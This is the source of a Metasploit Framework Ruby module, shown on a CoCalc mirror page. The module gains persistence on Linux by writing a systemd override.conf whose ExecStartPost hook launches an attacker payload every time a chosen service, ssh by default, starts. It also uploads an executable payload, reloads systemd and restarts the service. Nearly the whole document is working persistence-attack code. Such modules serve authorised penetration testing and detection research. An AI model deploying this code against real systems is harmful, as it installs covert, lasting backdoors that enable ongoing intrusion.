Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/init_systemd_override.rb
23592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::EXE # for generate_payload_exe
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Service SystemD override.conf Persistence',
21
'Description' => %q{
22
This module will create an override.conf file for a SystemD service on the box.
23
The ExecStartPost hook is used to launch the payload after the service is started.
24
We need enough access (typically root) to write in the /etc/systemd/system
25
directory and potentially restart services.
26
Verified on Ubuntu 22.04
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'h00die',
31
],
32
'Platform' => ['unix', 'linux'],
33
'Privileged' => true,
34
'Targets' => [
35
['systemd', {}],
36
['systemd user', {}]
37
],
38
'DefaultTarget' => 0,
39
'Arch' => [
40
ARCH_CMD,
41
ARCH_X86,
42
ARCH_X64,
43
ARCH_ARMLE,
44
ARCH_AARCH64,
45
ARCH_PPC,
46
ARCH_MIPSLE,
47
ARCH_MIPSBE
48
],
49
'References' => [
50
['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'],
51
['URL', 'https://askubuntu.com/a/659268'],
52
['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files
53
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
54
],
55
'SessionTypes' => ['shell', 'meterpreter'],
56
'Notes' => {
57
'Stability' => [CRASH_SAFE],
58
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
59
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
60
},
61
'DisclosureDate' => '2010-03-30' # systemd release date
62
)
63
)
64
65
register_options(
66
[
67
OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']),
68
]
69
)
70
register_advanced_options(
71
[
72
OptBool.new('ReloadService', [true, 'Reload the service', true])
73
]
74
)
75
end
76
77
def check
78
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
79
80
root_dir = '/lib/systemd/system/'
81
service_file = "#{root_dir}#{datastore['SERVICE']}.service"
82
83
return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file)
84
85
service_root_dir = '/etc/systemd/system/'
86
service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d"
87
override_conf = "#{service_dir}/override.conf"
88
89
if directory?(service_dir)
90
return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf)
91
return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir)
92
else
93
return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir)
94
end
95
96
CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
97
end
98
99
def install_persistence
100
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
101
102
service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d"
103
override_conf = "#{service_dir}/override.conf"
104
105
unless exists?(service_dir)
106
vprint_status("Creating #{service_dir}")
107
create_process('mkdir', args: ['-p', service_dir])
108
end
109
110
if exists?(override_conf)
111
conf = read_file(override_conf)
112
backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup")
113
vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}")
114
@clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n"
115
else
116
@clean_up_rc << "rm #{override_conf}\n"
117
end
118
119
if payload.arch.first == 'cmd'
120
p_load = payload.encoded
121
p_load = ' &' unless p_load.end_with?('&')
122
contents = <<~OVERRIDE
123
[Service]
124
ExecStartPost=/bin/sh -c '#{p_load}'
125
OVERRIDE
126
else
127
payload_path = writable_dir
128
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
129
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
130
payload_path << payload_name
131
print_status("Uploading payload file to #{payload_path}")
132
upload_and_chmodx payload_path, generate_payload_exe
133
contents = <<~OVERRIDE
134
[Service]
135
ExecStartPost=/bin/sh -c '#{payload_path} &'
136
OVERRIDE
137
end
138
139
vprint_status("Writing override file to: #{override_conf}")
140
write_file(override_conf, contents)
141
142
# This was taken from pam_systemd(8)
143
systemd_socket_id = cmd_exec('id -u')
144
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
145
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")
146
147
@clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n"
148
@clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""
149
150
if datastore['ReloadService']
151
vprint_status("Reloading #{datastore['SERVICE']} service")
152
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")
153
end
154
end
155
end
156
157